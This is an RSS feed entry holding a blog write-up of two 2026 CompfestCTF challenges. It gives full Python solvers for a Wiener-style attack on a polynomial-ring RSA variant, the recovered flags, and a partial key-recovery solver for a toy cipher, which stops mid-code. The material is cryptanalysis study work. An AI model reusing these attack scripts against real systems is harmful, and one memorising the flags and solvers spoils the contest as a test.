<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>shin_y</title>
        <link>https://velog.io/</link>
        <description>배고파요 ..</description>
        <lastBuildDate>Tue, 01 Sep 2026 16:00:56 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>shin_y</title>
            <url>https://velog.velcdn.com/images/shin_yy/profile/6e9531bb-9395-4a51-9c09-3bc4818c35ab/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. shin_y. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/shin_yy" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[2026 CompfestCTF]]></title>
            <link>https://velog.io/@shin_yy/2026Compfest</link>
            <guid>https://velog.io/@shin_yy/2026Compfest</guid>
            <pubDate>Tue, 01 Sep 2026 16:00:56 GMT</pubDate>
            <description><![CDATA[<h1 id="cryptography">Cryptography</h1>
<h2 id="1-hello">1. hello</h2>
<h2 id="steps">Steps</h2>
<ol>
<li><p><strong>Parse the transcript.</strong> Read <code>N</code>, <code>e</code> and the ten coefficients of <code>c</code> from the comment block (Sage prints <code>c</code> as <code>a9*t^9 + a8*t^8 + ... + a1*t + a0</code>; absent terms are zero).</p>
</li>
<li><p><strong>Implement <code>A</code> in plain Python.</strong> Multiplication is a degree-&lt;10 convolution followed by the fold <code>x^(i+10) -&gt; 2*x^i</code> (a single pass suffices because the product has degree &lt;= 18), with all coefficients reduced mod <code>N</code>. Exponentiation is square-and-multiply built on that operation, so no SageMath is needed.</p>
</li>
<li><p><strong>Run the continued fraction.</strong> Generate convergents <code>h/k</code> of <code>e / (N^5 - 1)^2</code> with exact integer arithmetic. For each <code>(k, d) = (h, k)</code> candidate, check <code>(e*d + 1) % k == 0</code>, form <code>phi_cand</code>, and apply the exact <code>s = p^10 + q^10</code> split test above.</p>
<p>Every check on the recovered pair reported True, as shown below.</p>
<pre><code>p*q == N .............................. True
both prime ............................ True
q &lt; p &lt; 1000*q  (author&#39;s mu bound) ... True
phi_author == (p^10-1)(q^10-1) ........ True
e*(phi_author - d) == 1 mod phi_author  True</code></pre></li>
<li><p><strong>Compute the real group exponent.</strong> Factor <code>x^10 - 2</code> mod <code>p</code> and mod <code>q</code> by distinct-degree factorisation, which gives the degrees <code>[5,5]</code> and <code>[1,1,4,4]</code>. Take <code>lambda</code> to be the least common multiple of the corresponding <code>p^deg - 1</code> and <code>q^deg - 1</code> values. Verify <code>c^lambda == 1</code> in <code>A</code>, which is the check that proves the exponent is right before anything is decrypted.</p>
</li>
<li><p><strong>Decrypt.</strong> Compute <code>D = e^(-1) mod lambda</code>, which is 9197 bits wide, and then evaluate <code>m = c^D</code> in <code>A</code>.</p>
</li>
<li><p><strong>Unpack.</strong> The 10 coefficients are the 10 message chunks. The chunk size is 6 bytes, so each coefficient is converted with <code>int.to_bytes(6, &#39;big&#39;)</code> and the results are concatenated, giving a 60-byte padded plaintext. Strip the trailing padding, which has <code>pad_len = 3</code>; the identity <code>3 == 10 - (57 % 10)</code> confirms that the padding is self-consistent with the generator.</p>
<pre><code>Recovered plaintext: COMPFEST{c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK}</code></pre></li>
<li><p><strong>Decisive replay check.</strong> Re-encrypt the recovered message and compare <code>m^e</code> in <code>A</code> against the published <code>c</code> coefficient by coefficient. The two values were <strong>equal</strong>, which turns the recovered plaintext from plausible into proven; no flag was treated as final before this check passed.</p>
</li>
<li><p><strong>Apply the flag post-processing.</strong> The recovered plaintext carries the 9-character prefix <code>COMPFEST{</code>, while the stated rule indexes <code>flag[11:-1]</code>, and 11 is exactly the length of <code>COMPFEST18{</code>. Reading the rule against the event&#39;s flag format, the inner content is <code>c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK</code> and the prefix is normalised to <code>COMPFEST18{</code>:</p>
<pre><code>inner  = c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK
suffix = sha256(inner)[:16] = f91f71b7c1b857d2
flag   = COMPFEST18{ inner + &quot;_&quot; + suffix }</code></pre></li>
</ol>
<h3 id="solver">Solver</h3>
<p>The following script is a complete, self-contained reproducer written in pure Python with <code>gmpy2</code>; SageMath is not required. It runs from the handout to the flag in about twelve seconds and refuses to print a flag if the re-encryption replay check fails.</p>
<pre><code class="language-python">import hashlib
import re
import sys
from pathlib import Path

from gmpy2 import mpz, isqrt, iroot, gcd, invert

HERE = Path(__file__).resolve()
CHALL_SAGE = HERE.parent / &quot;chall.sage&quot;

N_DEG = 10
R_TWIST = 2

def parse_transcript(path):
    text = Path(path).read_text()

    def grab_int(name):
        m = re.search(r&quot;^#\s*&quot; + name + r&quot;\s*=\s*(\d+)\s*$&quot;, text, re.M)
        if not m:
            raise ValueError(&quot;could not parse %s&quot; % name)
        return mpz(m.group(1))

    N = grab_int(&quot;N&quot;)
    e = grab_int(&quot;e&quot;)

    m = re.search(r&quot;^#\s*c\s*=\s*(.+)$&quot;, text, re.M)
    if not m:
        raise ValueError(&quot;could not parse c&quot;)

    coeffs = [mpz(0)] * N_DEG
    for term in m.group(1).strip().split(&quot;+&quot;):
        term = term.strip()
        if not term:
            continue
        mm = re.fullmatch(r&quot;(\d+)\*t\^(\d+)&quot;, term)
        if mm:
            coeffs[int(mm.group(2))] = mpz(mm.group(1)); continue
        mm = re.fullmatch(r&quot;(\d+)\*t&quot;, term)
        if mm:
            coeffs[1] = mpz(mm.group(1)); continue
        mm = re.fullmatch(r&quot;(\d+)&quot;, term)
        if mm:
            coeffs[0] = mpz(mm.group(1)); continue
        raise ValueError(&quot;unparsed term in c: %r&quot; % term)
    return N, e, coeffs

def a_mul(a, b, M):
    acc = [mpz(0)] * (2 * N_DEG - 1)
    for i in range(N_DEG):
        ai = a[i]
        if ai:
            for j in range(N_DEG):
                bj = b[j]
                if bj:
                    acc[i + j] += ai * bj

    out = [mpz(0)] * N_DEG
    for i in range(N_DEG):
        v = acc[i]
        j = i + N_DEG
        if j &lt; len(acc):
            v += R_TWIST * acc[j]
        out[i] = v % M
    return out

def a_pow(base, exp, M):
    result = [mpz(1)] + [mpz(0)] * (N_DEG - 1)
    b = [x % M for x in base]
    ex = int(exp)
    while ex:
        if ex &amp; 1:
            result = a_mul(result, b, M)
        ex &gt;&gt;= 1
        if ex:
            b = a_mul(b, b, M)
    return result

def a_is_one(v):
    return [int(x) for x in v] == [1] + [0] * (N_DEG - 1)

def convergents(num, den):
    h_prev, h = mpz(0), mpz(1)
    k_prev, k = mpz(1), mpz(0)
    a, b = mpz(num), mpz(den)
    while b:
        qq = a // b
        a, b = b, a - qq * b
        h_prev, h = h, qq * h + h_prev
        k_prev, k = k, qq * k + k_prev
        yield h, k

def factor_from_phi(phi_cand, N, N10):
    s = N10 + 1 - phi_cand
    if s &lt;= 0:
        return None
    disc = s * s - 4 * N10
    if disc &lt; 0:
        return None
    r = isqrt(disc)
    if r * r != disc or (s + r) % 2:
        return None
    p, ok1 = iroot((s + r) // 2, N_DEG)
    if not ok1:
        return None
    q, ok2 = iroot((s - r) // 2, N_DEG)
    if not ok2 or p * q != N:
        return None
    return int(p), int(q)

def _poly_trim(a):
    while a and a[-1] == 0:
        a.pop()
    return a

def _poly_rem(a, b, P):
    a = _poly_trim([x % P for x in a])
    b = _poly_trim([x % P for x in b])
    inv = pow(b[-1], -1, P)
    while a and len(a) &gt;= len(b):
        cf = a[-1] * inv % P
        sh = len(a) - len(b)
        for i, bi in enumerate(b):
            a[sh + i] = (a[sh + i] - cf * bi) % P
        _poly_trim(a)
    return a

def _poly_gcd(a, b, P):
    a = _poly_trim([x % P for x in a])
    b = _poly_trim([x % P for x in b])
    while b:
        a, b = b, _poly_rem(a, b, P)
    return a

def factor_degrees(P):
    modpoly = [(-R_TWIST) % P] + [0] * (N_DEG - 1) + [1]
    h = [mpz(0), mpz(1)] + [mpz(0)] * (N_DEG - 2)
    degs, seen = [], 0
    for d in range(1, N_DEG + 1):
        h = a_pow(h, P, P)
        hm = [int(v) for v in h]
        hm[1] = (hm[1] - 1) % P
        g = _poly_gcd(hm, modpoly, P)
        gd = (len(g) - 1) if g else 0
        if gd &gt; seen:
            degs += [d] * ((gd - seen) // d)
            seen = gd
        if seen == N_DEG:
            break
    return degs

def group_exponent(P):
    lam = mpz(1)
    for d in factor_degrees(P):
        o = mpz(P) ** d - 1
        lam = lam * o // gcd(lam, o)
    return lam

def decode_message(coeffs):
    chunk_size = max(max(1, (int(x).bit_length() + 7) // 8) for x in coeffs)
    return b&quot;&quot;.join(int(x).to_bytes(chunk_size, &quot;big&quot;) for x in coeffs), chunk_size

def unpad(padded):
    if not padded:
        return None
    pl = padded[-1]
    if not (1 &lt;= pl &lt;= N_DEG) or pl &gt; len(padded):
        return None
    if padded[-pl:] != bytes([pl]) * pl:
        return None
    flag = padded[:-pl]
    if pl != N_DEG - (len(flag) % N_DEG):
        return None
    return flag

def sha16(s):
    return hashlib.sha256(s.encode()).hexdigest()[:16]

def main():
    N, e, c = parse_transcript(CHALL_SAGE)
    print(&quot;[*] transcript: %s&quot; % CHALL_SAGE)
    print(&quot;[*] N: %d bits   e: %d bits   c: %d/%d nonzero coefficients&quot;
          % (N.bit_length(), e.bit_length(), sum(1 for x in c if x), N_DEG))

    N10 = N ** N_DEG
    phi_approx = (N ** (N_DEG // 2) - 1) ** 2
    print(&quot;[*] step 1: continued fraction of e / (N^5 - 1)^2 ...&quot;)

    hit = None
    for idx, (k, d) in enumerate(convergents(e, phi_approx)):
        if k == 0 or d == 0:
            continue
        t = e * d + 1
        if t % k:
            continue
        phi_cand = t // k
        pq = factor_from_phi(phi_cand, N, N10)
        if pq:
            hit = (idx, k, d, phi_cand, pq[0], pq[1])
            break
    if hit is None:
        print(&quot;[-] no convergent yielded a structurally valid phi&quot;)
        return 1

    idx, k, d, phi_author, p, q = hit
    print(&quot;[+] hit at convergent #%d&quot; % idx)
    print(&quot;[+] d = %d&quot; % d)
    print(&quot;[+] k = %d&quot; % k)
    print(&quot;[+] p = %d&quot; % p)
    print(&quot;[+] q = %d&quot; % q)
    print(&quot;[+]   p*q == N ................................ %s&quot; % (p * q == N))
    print(&quot;[+]   both prime .............................. %s&quot;
          % (__import__(&quot;sympy&quot;).isprime(p) and __import__(&quot;sympy&quot;).isprime(q)))
    print(&quot;[+]   q &lt; p &lt; 1000*q (author&#39;s mu bound) ...... %s&quot; % (q &lt; p &lt; 1000 * q))
    print(&quot;[+]   phi_author == (p^10-1)(q^10-1) .......... %s&quot;
          % (phi_author == (mpz(p) ** N_DEG - 1) * (mpz(q) ** N_DEG - 1)))
    print(&quot;[+]   e*(phi_author - d) == 1 mod phi_author .. %s&quot;
          % ((e * (phi_author - d)) % phi_author == 1))

    print(&quot;[*] step 2: x^10 - 2 factor degrees  mod p: %s   mod q: %s&quot;
          % (factor_degrees(p), factor_degrees(q)))
    lam_p, lam_q = group_exponent(p), group_exponent(q)
    lam = lam_p * lam_q // gcd(lam_p, lam_q)
    print(&quot;[*] lambda = lcm(exponents) : %d bits   gcd(e, lambda) = %d&quot;
          % (lam.bit_length(), gcd(e, lam)))
    print(&quot;[+]   c^lambda == 1 in A ...................... %s&quot;
          % a_is_one(a_pow(c, lam, N)))
    print(&quot;[!]   c^phi_author == 1 in A .................. %s   &lt;- author&#39;s bug&quot;
          % a_is_one(a_pow(c, phi_author, N)))

    D = invert(e, lam)
    print(&quot;[*] decrypting: c^D in A, D is %d bits ...&quot; % D.bit_length())
    m = a_pow(c, D, N)

    padded, chunk_size = decode_message(m)
    print(&quot;[*] chunk_size = %d, padded length = %d&quot; % (chunk_size, len(padded)))
    flag_bytes = unpad(padded)
    if flag_bytes is None:
        print(&quot;[-] padding check FAILED: %r&quot; % padded)
        return 1
    F = flag_bytes.decode()

    ok = [int(a) for a in a_pow(m, e, N)] == [int(b) for b in c]
    print()
    print(&quot;[+] RECOVERED PLAINTEXT : %s&quot; % F)
    print(&quot;[+]   padding: pad_len = %d == 10 - (%d %% 10) ... %s&quot;
          % (padded[-1], len(flag_bytes), padded[-1] == N_DEG - (len(flag_bytes) % N_DEG)))
    print(&quot;[+]   RE-ENCRYPTION  m^e == c ................. %s&quot; % ok)
    if not ok:
        print(&quot;[-] replay check failed; refusing to report a flag&quot;)
        return 1

    inner = F[F.index(&quot;{&quot;) + 1:-1]
    primary = &quot;COMPFEST18{&quot; + inner + &quot;_&quot; + sha16(inner) + &quot;}&quot;
    literal = F[:-1] + &quot;_&quot; + sha16(F[11:-1]) + &quot;}&quot;
    alt = &quot;COMPFEST18{&quot; + inner + &quot;_&quot; + sha16(F[11:-1]) + &quot;}&quot;

    print()
    print(&quot;[+] FINAL FLAG (primary, matches event regex):&quot;)
    print(&quot;      %s&quot; % primary)
    print(&quot;[ ] alt 1 - description applied literally to the recovered string:&quot;)
    print(&quot;      %s&quot; % literal)
    print(&quot;[ ] alt 2 - COMPFEST18 prefix but hash of literal F[11:-1]:&quot;)
    print(&quot;      %s&quot; % alt)
    print()
    print(&quot;[*] primary matches COMPFEST18{[A-Za-z0-9_-]+} : %s&quot;
          % bool(re.fullmatch(r&quot;COMPFEST18\{[A-Za-z0-9_-]+\}&quot;, primary)))
    return 0

if __name__ == &quot;__main__&quot;:
    sys.exit(main())</code></pre>
<h3 id="exploit">Exploit</h3>
<pre><code class="language-python">import argparse
import hashlib
import re
from dataclasses import dataclass
from pathlib import Path

from gmpy2 import gcd, invert, iroot, isqrt, mpz


DEGREE = 10
TWIST = 2


@dataclass(frozen=True)
class SolveResult:
    plaintext: str
    flag: str
    replay_ok: bool
    convergent_index: int
    p: int
    q: int
    d: int
    factor_degrees_p: tuple[int, ...]
    factor_degrees_q: tuple[int, ...]
    lambda_bits: int
    ciphertext_power_lambda_is_one: bool
    ciphertext_power_author_phi_is_one: bool


def parse_transcript(path: Path):
    text = Path(path).read_text()

    def grab_integer(name: str) -&gt; mpz:
        match = re.search(
            r&quot;^(?:#\s*)?&quot; + name + r&quot;\s*=\s*(\d+)\s*$&quot;, text, re.M
        )
        if not match:
            raise ValueError(f&quot;could not parse {name}&quot;)
        return mpz(match.group(1))

    modulus = grab_integer(&quot;N&quot;)
    exponent = grab_integer(&quot;e&quot;)
    match = re.search(r&quot;^(?:#\s*)?c\s*=\s*(\d.*)$&quot;, text, re.M)
    if not match:
        raise ValueError(&quot;could not parse c&quot;)

    coefficients = [mpz(0)] * DEGREE
    for raw_term in match.group(1).strip().split(&quot;+&quot;):
        term = raw_term.strip()
        power_term = re.fullmatch(r&quot;(\d+)\*t\^(\d+)&quot;, term)
        if power_term:
            coefficients[int(power_term.group(2))] = mpz(power_term.group(1))
            continue
        linear_term = re.fullmatch(r&quot;(\d+)\*t&quot;, term)
        if linear_term:
            coefficients[1] = mpz(linear_term.group(1))
            continue
        constant_term = re.fullmatch(r&quot;(\d+)&quot;, term)
        if constant_term:
            coefficients[0] = mpz(constant_term.group(1))
            continue
        raise ValueError(f&quot;unparsed ciphertext term: {term!r}&quot;)
    return modulus, exponent, coefficients


def a_mul(left, right, modulus):
    convolution = [mpz(0)] * (2 * DEGREE - 1)
    for i, left_value in enumerate(left):
        if not left_value:
            continue
        for j, right_value in enumerate(right):
            if right_value:
                convolution[i + j] += left_value * right_value

    result = [mpz(0)] * DEGREE
    for i in range(DEGREE):
        value = convolution[i]
        folded_index = i + DEGREE
        if folded_index &lt; len(convolution):
            value += TWIST * convolution[folded_index]
        result[i] = value % modulus
    return result


def a_pow(base, exponent, modulus):
    result = [mpz(1)] + [mpz(0)] * (DEGREE - 1)
    power = [value % modulus for value in base]
    remaining = int(exponent)
    while remaining:
        if remaining &amp; 1:
            result = a_mul(result, power, modulus)
        remaining &gt;&gt;= 1
        if remaining:
            power = a_mul(power, power, modulus)
    return result


def a_is_one(value) -&gt; bool:
    return [int(item) for item in value] == [1] + [0] * (DEGREE - 1)


def convergents(numerator, denominator):
    previous_h, h = mpz(0), mpz(1)
    previous_k, k = mpz(1), mpz(0)
    left, right = mpz(numerator), mpz(denominator)
    while right:
        quotient = left // right
        left, right = right, left - quotient * right
        previous_h, h = h, quotient * h + previous_h
        previous_k, k = k, quotient * k + previous_k
        yield h, k


def factor_from_phi(phi_candidate, modulus, modulus10):
    power_sum = modulus10 + 1 - phi_candidate
    if power_sum &lt;= 0:
        return None
    discriminant = power_sum * power_sum - 4 * modulus10
    if discriminant &lt; 0:
        return None
    root = isqrt(discriminant)
    if root * root != discriminant or (power_sum + root) % 2:
        return None
    p, p_exact = iroot((power_sum + root) // 2, DEGREE)
    q, q_exact = iroot((power_sum - root) // 2, DEGREE)
    if not p_exact or not q_exact or p * q != modulus:
        return None
    return int(p), int(q)


def _poly_trim(polynomial):
    while polynomial and polynomial[-1] == 0:
        polynomial.pop()
    return polynomial


def _poly_remainder(dividend, divisor, prime):
    dividend = _poly_trim([value % prime for value in dividend])
    divisor = _poly_trim([value % prime for value in divisor])
    inverse_lead = pow(divisor[-1], -1, prime)
    while dividend and len(dividend) &gt;= len(divisor):
        coefficient = dividend[-1] * inverse_lead % prime
        shift = len(dividend) - len(divisor)
        for i, value in enumerate(divisor):
            dividend[shift + i] = (dividend[shift + i] - coefficient * value) % prime
        _poly_trim(dividend)
    return dividend


def _poly_gcd(left, right, prime):
    left = _poly_trim([value % prime for value in left])
    right = _poly_trim([value % prime for value in right])
    while right:
        left, right = right, _poly_remainder(left, right, prime)
    return left


def factor_degrees(prime):
    modulus_polynomial = [(-TWIST) % prime] + [0] * (DEGREE - 1) + [1]
    frobenius = [mpz(0), mpz(1)] + [mpz(0)] * (DEGREE - 2)
    degrees = []
    seen_degree = 0
    for degree in range(1, DEGREE + 1):
        frobenius = a_pow(frobenius, prime, prime)
        difference = [int(value) for value in frobenius]
        difference[1] = (difference[1] - 1) % prime
        common = _poly_gcd(difference, modulus_polynomial, prime)
        accumulated_degree = len(common) - 1 if common else 0
        if accumulated_degree &gt; seen_degree:
            degrees.extend([degree] * ((accumulated_degree - seen_degree) // degree))
            seen_degree = accumulated_degree
        if seen_degree == DEGREE:
            break
    return degrees


def group_exponent(prime):
    exponent = mpz(1)
    for degree in factor_degrees(prime):
        factor_order = mpz(prime) ** degree - 1
        exponent = exponent * factor_order // gcd(exponent, factor_order)
    return exponent


def decode_message(coefficients):
    chunk_size = max(
        max(1, (int(value).bit_length() + 7) // 8) for value in coefficients
    )
    padded = b&quot;&quot;.join(
        int(value).to_bytes(chunk_size, &quot;big&quot;) for value in coefficients
    )
    return padded, chunk_size


def unpad(padded):
    if not padded:
        return None
    pad_length = padded[-1]
    if not 1 &lt;= pad_length &lt;= DEGREE or pad_length &gt; len(padded):
        return None
    if padded[-pad_length:] != bytes([pad_length]) * pad_length:
        return None
    message = padded[:-pad_length]
    if pad_length != DEGREE - len(message) % DEGREE:
        return None
    return message


def sha16(value: str) -&gt; str:
    return hashlib.sha256(value.encode()).hexdigest()[:16]


def solve(path: Path) -&gt; SolveResult:
    modulus, exponent, ciphertext = parse_transcript(path)
    modulus10 = modulus**DEGREE
    phi_approximation = (modulus ** (DEGREE // 2) - 1) ** 2

    recovered = None
    for index, (k, d) in enumerate(convergents(exponent, phi_approximation)):
        if not k or not d:
            continue
        numerator = exponent * d + 1
        if numerator % k:
            continue
        author_phi = numerator // k
        factors = factor_from_phi(author_phi, modulus, modulus10)
        if factors:
            recovered = index, d, author_phi, factors[0], factors[1]
            break
    if recovered is None:
        raise ValueError(&quot;no convergent yielded valid factors&quot;)

    convergent_index, d, author_phi, p, q = recovered
    degrees_p = tuple(factor_degrees(p))
    degrees_q = tuple(factor_degrees(q))
    lambda_p = group_exponent(p)
    lambda_q = group_exponent(q)
    group_lambda = lambda_p * lambda_q // gcd(lambda_p, lambda_q)

    lambda_check = a_is_one(a_pow(ciphertext, group_lambda, modulus))
    author_check = a_is_one(a_pow(ciphertext, author_phi, modulus))
    if not lambda_check:
        raise ValueError(&quot;derived group exponent failed its ring check&quot;)

    decryption_exponent = invert(exponent, group_lambda)
    message_coefficients = a_pow(ciphertext, decryption_exponent, modulus)
    padded, _ = decode_message(message_coefficients)
    message_bytes = unpad(padded)
    if message_bytes is None:
        raise ValueError(&quot;recovered message failed padding validation&quot;)
    plaintext = message_bytes.decode()

    replay_ok = [int(value) for value in a_pow(message_coefficients, exponent, modulus)] == [
        int(value) for value in ciphertext
    ]
    if not replay_ok:
        raise ValueError(&quot;re-encryption did not reproduce the ciphertext&quot;)

    inner = plaintext[plaintext.index(&quot;{&quot;) + 1 : -1]
    flag = f&quot;COMPFEST18{{{inner}_{sha16(inner)}}}&quot;
    return SolveResult(
        plaintext=plaintext,
        flag=flag,
        replay_ok=replay_ok,
        convergent_index=convergent_index,
        p=p,
        q=q,
        d=int(d),
        factor_degrees_p=degrees_p,
        factor_degrees_q=degrees_q,
        lambda_bits=group_lambda.bit_length(),
        ciphertext_power_lambda_is_one=lambda_check,
        ciphertext_power_author_phi_is_one=author_check,
    )


def main() -&gt; int:
    parser = argparse.ArgumentParser()
    parser.add_argument(&quot;chall_sage&quot;, type=Path)
    args = parser.parse_args()

    result = solve(args.chall_sage)
    print(f&quot;convergent index: {result.convergent_index}&quot;)
    print(f&quot;factor degrees mod p: {list(result.factor_degrees_p)}&quot;)
    print(f&quot;factor degrees mod q: {list(result.factor_degrees_q)}&quot;)
    print(f&quot;lambda bits: {result.lambda_bits}&quot;)
    print(f&quot;c^lambda == 1: {result.ciphertext_power_lambda_is_one}&quot;)
    print(f&quot;c^author_phi == 1: {result.ciphertext_power_author_phi_is_one}&quot;)
    print(f&quot;re-encryption m^e == c: {result.replay_ok}&quot;)
    print(f&quot;plaintext: {result.plaintext}&quot;)
    print(f&quot;flag: {result.flag}&quot;)
    return 0


if __name__ == &quot;__main__&quot;:
    raise SystemExit(main())</code></pre>
<h2 id="final-flag">Final Flag</h2>
<pre><code>COMPFEST18{c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK_f91f71b7c1b857d2}</code></pre><h2 id="2-the-67th-line">2. The 67th Line</h2>
<h2 id="steps-1">Steps</h2>
<ol>
<li><p>Query the Instagram web-profile JSON endpoint for <code>kuliah67.archive</code>, remembering that the logged-out HTML page is a false 404 that a control fetch of a known-good account disproves, and save all four captions.</p>
</li>
<li><p>Take the three 35-line captions in post order, map each line&#39;s initial word to <code>B = 0</code> or <code>O = 1</code>, and read the 105 bits as 21 Baconian quintets. Extend the alphabet with <code>26 = .</code> and <code>27 = /</code> as the caption&#39;s own &quot;Beyond Z&quot; line instructs. The result is <code>ristek.link/astergate</code>.</p>
</li>
<li><p>Follow the redirect chain to the Google Drive folder and download <code>Archive.zip</code> (sha256 <code>ffa8b140cbec1819ed648c2303747857159f0eed2c34406876e73c7315aecf78</code>), then extract <code>chall.py</code>, <code>records.bin</code>, <code>records.json</code> and <code>sealed.json</code>.</p>
</li>
<li><p>Parse <code>records.json</code> and keep only the dimension-9 sets, which are 60 of the 74.</p>
</li>
<li><p>Precompute all 4096 output matrices and their inverse lookup tables, which takes about 0.6 seconds.</p>
</li>
<li><p>For each byte position <code>i</code> independently, try all 4096 candidate values of <code>hi[i]</code>, invert the output layer for that byte across a whole dimension-9 set, and keep the candidates for which the XOR over the set is 0. Intersect two or three sets to leave a single survivor per byte, as listed below.</p>
<pre><code>byte  0: hi=0x32e   byte  4: hi=0x55e   byte  8: hi=0x298
byte  1: hi=0xbee   byte  5: hi=0xf82   byte  9: hi=0xd04
byte  2: hi=0xc01   byte  6: hi=0xefc   byte 10: hi=0xb58
byte  3: hi=0x9ae   byte  7: hi=0x476   byte 11: hi=0xcad</code></pre></li>
<li><p>Derive <code>lo[]</code> algebraically from the now-known round keys, without any search. The full key is the following.</p>
<pre><code>[0x32e8d, 0xbee50, 0xc0187, 0x9ae40, 0x55edd,
 0xf8201, 0xefc0a, 0x4764a, 0x29817, 0xd0466,
 0xb5803, 0xcaded]</code></pre></li>
<li><p>Run two independent verifications, both of which were required before the key was trusted.</p>
<ul>
<li>Re-encrypt every recorded block with the recovered key, which reproduces <code>records.bin</code> with 33536 of 33536 blocks matching.</li>
<li>Run <code>open_sealed()</code> on <code>sealed.json</code>, whose HMAC-SHA256 tag authenticates; this is an independent check because the seal key is <code>sha256(D + b&#39;/seal/&#39; + key)</code> over the full 240 bits, <code>lo</code> included.</li>
</ul>
</li>
<li><p>Read the sealed payload, which is the 32-byte answer shown below.</p>
<pre><code>H = 5e9e8bf77207eca9c6906e80a57aa0e426f18ab8825a7b0f656cfa5d888a81c9</code></pre></li>
<li><p>Apply the stated format, in which &quot;sha256(that 64 lowercase hexadecimal characters)&quot; means the hash of the ASCII string, giving <code>sha256(H)[:16] = aefbd0dc566889bb</code>. The raw-bytes reading would instead give <code>5691e86656d88908</code>, but the ASCII reading is the correct one.</p>
</li>
</ol>
<h3 id="solver-1">Solver</h3>
<p>The script below is an offline, deterministic reproducer for stages 2 and 3, covering the acrostic decode as well as the full key recovery and the seal opening. It runs in about 5 seconds and refuses to emit a flag unless both verifications pass, and it expects the extracted archive in <code>gate/</code> alongside it.</p>
<pre><code class="language-python">from __future__ import annotations
import argparse, glob, hashlib, hmac, json, os, sys, time
from pathlib import Path

import numpy as np

HERE = Path(__file__).resolve().parent

BACON_EXTRA = {26: &quot;.&quot;, 27: &quot;/&quot;}

def stage1_decode(evidence_dir: Path) -&gt; str:
    first_words: list[str] = []

    for i in (1, 2, 3):
        hits = sorted(glob.glob(str(evidence_dir / f&quot;post{i}_*_caption.txt&quot;)))
        if not hits:
            raise SystemExit(f&quot;missing caption file for post{i} in {evidence_dir}&quot;)
        for line in Path(hits[0]).read_text(encoding=&quot;utf-8&quot;).split(&quot;\n&quot;):
            line = line.strip()
            if line and not line.startswith(&quot;#&quot;):
                first_words.append(line.split()[0])

    assert len(first_words) == 105, len(first_words)
    bits = &quot;&quot;.join(&quot;1&quot; if w[0] == &quot;O&quot; else &quot;0&quot; for w in first_words)

    out = []
    for i in range(0, len(bits), 5):
        v = int(bits[i:i + 5], 2)
        out.append(chr(65 + v) if v &lt; 26 else BACON_EXTRA[v])
    decoded = &quot;&quot;.join(out)
    return decoded

N = 12
P = 96
D = b&#39;ASTERGATE/GMI/3&#39;

def _f(x: int) -&gt; int:
    b = [(x &gt;&gt; i) &amp; 1 for i in range(4)]
    o = (b[0] ^ (b[1] &amp; b[2]), b[1] ^ (b[2] &amp; b[3]),
         b[2] ^ (b[3] &amp; b[0]), b[3] ^ (b[0] &amp; b[1]))
    return sum(v &lt;&lt; i for i, v in enumerate(o))

def _g(x: int) -&gt; int:
    l = x &amp; 15; r = x &gt;&gt; 4
    return r | ((l ^ _f(r)) &lt;&lt; 4)

def _h(x: int) -&gt; int:
    b = [(x &gt;&gt; i) &amp; 1 for i in range(4)]
    o = (b[0] ^ (b[2] &amp; b[3]), b[1] ^ (b[0] &amp; b[3]),
         b[2] ^ (b[0] &amp; b[1]), b[3] ^ (b[1] &amp; b[2]))
    return sum(v &lt;&lt; i for i, v in enumerate(o))

def _q(x: int) -&gt; int:
    l = x &amp; 15; r = x &gt;&gt; 4
    return r | ((l ^ _h(r)) &lt;&lt; 4)

def _rank(rows: list[int]) -&gt; int:
    a = rows[:]; r = 0
    for c in range(8):
        p = next((i for i in range(r, len(a)) if (a[i] &gt;&gt; c) &amp; 1), None)
        if p is None:
            continue
        a[r], a[p] = a[p], a[r]
        for i in range(len(a)):
            if i != r and ((a[i] &gt;&gt; c) &amp; 1):
                a[i] ^= a[r]
        r += 1
    return r

_MATRIX_CACHE: dict[int, list[int]] = {}

def matrix(index: int) -&gt; list[int]:
    if not 0 &lt;= index &lt; 4096:
        raise ValueError(&#39;matrix index&#39;)
    if index in _MATRIX_CACHE:
        return _MATRIX_CACHE[index]
    c = 0
    while True:
        z = hashlib.sha256(D + b&#39;/matrix/&#39; + index.to_bytes(2, &#39;little&#39;)
                           + c.to_bytes(2, &#39;little&#39;)).digest()
        rows = list(z[:8])
        if _rank(rows) == 8:
            _MATRIX_CACHE[index] = rows
            return rows
        c += 1

def _apply(rows: list[int], x: int) -&gt; int:
    return sum(((rows[i] &amp; x).bit_count() &amp; 1) &lt;&lt; i for i in range(8))

def _permute(state: bytes) -&gt; bytes:
    x = int.from_bytes(state, &#39;little&#39;); y = 0
    for i in range(P):
        y |= ((x &gt;&gt; i) &amp; 1) &lt;&lt; ((29 * i + 17) % P)
    return y.to_bytes(N, &#39;little&#39;)

def _material(key: list[int]) -&gt; bytes:
    if len(key) != N or any(not 0 &lt;= x &lt; (1 &lt;&lt; 20) for x in key):
        raise ValueError(&#39;key&#39;)
    return b&#39;&#39;.join(x.to_bytes(3, &#39;little&#39;) for x in key)

def _round_material(key: list[int]) -&gt; bytes:
    return b&#39;&#39;.join((x &gt;&gt; 8).to_bytes(2, &#39;little&#39;) for x in key)

def _round_key(key: list[int], r: int) -&gt; bytes:
    return hashlib.sha256(D + b&#39;/round/&#39; + bytes([r]) + _round_material(key)).digest()[:N]

def encrypt_block(block: bytes, key: list[int]) -&gt; bytes:
    if len(block) != N:
        raise ValueError(&#39;block&#39;)
    s = bytes(block)
    for r in range(3):
        k = _round_key(key, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    k = _round_key(key, 3)
    s = bytes(a ^ b for a, b in zip(s, k))
    out = []
    for i, x in enumerate(s):
        seed = key[i]; rows = matrix(seed &gt;&gt; 8)
        out.append(_apply(rows, _q(x)) ^ (seed &amp; 255))
    return bytes(out)

